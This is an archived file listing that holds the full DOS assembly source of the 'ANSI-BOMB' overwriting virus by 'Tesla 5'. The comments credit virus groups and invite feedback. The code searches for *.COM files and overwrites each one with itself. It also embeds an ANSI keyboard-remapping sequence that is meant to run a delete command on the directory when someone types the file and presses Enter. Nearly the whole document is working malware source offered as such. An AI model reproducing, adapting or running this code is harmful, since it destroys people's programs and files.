home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / J.ZIP / JT-RELAT.ZIP / ANSIBOMB.ZIP / ANSIBOMB.ASM next >
Encoding:
Assembly Source File  |  1994-01-09  |  2.1 KB  |  72 lines
  1. ;|
  2. ;|      ANSI-BOMB BY TESLA 5
  3. ;|
  4. ;|      THIS VIRUS IS LOSELY BASED ON THE WEFLOW 1993 VIRUS, WHICH WAS BASED
  5. ;|      ON TRIDENT OVERWRITING VIRUS, MADE BY .... OF TRIDENT. DON'T TYPE
  6. ;|      THIS FILE, OR WHEN YOU PRESS 'ENTER' YOUR DIR WILL BE ERASED. GREETINGS
  7. ;|      TO TRIDENT, NUKE, PHALCOM/SKISM AND YAM. YOU DON'T KNOW ME, BUT I DO
  8. ;|      KNOW YOU. APOLOGIES TO TRIDENT THAT I MADE THESE LAME VARIANTS OF
  9. ;|      YOUR VIRUS, BUT I DON'T KNOW HOW OTHER INFECTION SCHEMES WORK.
  10. ;|      REACTIONS ARE WELCOME.
  11. ;|
  12.  
  13. START:          JMP DOIT
  14.  
  15.                 DB 8,8,8
  16.                 DB 'I HOPE YOU DON''T HAVE ANSI, BOY!'
  17.                 DB 27,'[13;13;"ECHO Y|DEL.";13P'
  18.                 DB 26
  19.  
  20. MSG:
  21.                 DB 13,10,'HELLO! WHAT WILL YOU DO ABOUT THIS? BUY ORIGINALS TO AVOID ME AND MY 1500'
  22.                 DB 13,10,'NASTY FRIENDS, BECAUSE WE ARE EVERYWHERE!',13,10,'$'
  23.  
  24.                 DB '≡ ANSI-BOMB VIRUS BY TESLA 5 ≡'
  25.  
  26. DOIT:           MOV AH, 4EH
  27.  
  28. SEEK:           PUSH CS
  29.                 POP DS
  30.                 LEA DX,FSPEC
  31.                 XOR CX,CX
  32.                 INT 21H
  33.                 JC  DOMSG
  34.  
  35.                 MOV AX,3D02H
  36.                 MOV DX,9EH
  37.                 INT 21H
  38.  
  39.                 XCHG AX,BX
  40.  
  41.                 MOV AH,40H
  42.                 LEA DX,START
  43.                 MOV CX,PRGLEN
  44.                 INT 21H
  45.  
  46.                 MOV AH,3EH
  47.                 INT 21H
  48.  
  49.                 MOV AH,4FH
  50.                 JMP SEEK
  51.  
  52. DOMSG:          XOR CX,CX
  53.                 MOV ES,CX
  54.                 MOV AL,BYTE PTR ES:[46CH]
  55.                 CMP AL,30H
  56.                 JA  EINDE
  57.  
  58.                 MOV AH,9
  59.                 LEA DX,MSG
  60.                 INT 21H
  61.  
  62. EINDE:          RET
  63.  
  64. FSPEC           DB '*.COM',0
  65.  
  66. PRGLEN          EQU $-START
  67.  
  68. ;  ─────────────────────────────────────────────────────────────────────────
  69. ;  ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
  70. ;  ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
  71. ;  ─────────────────────────────────────────────────────────────────────────
  72.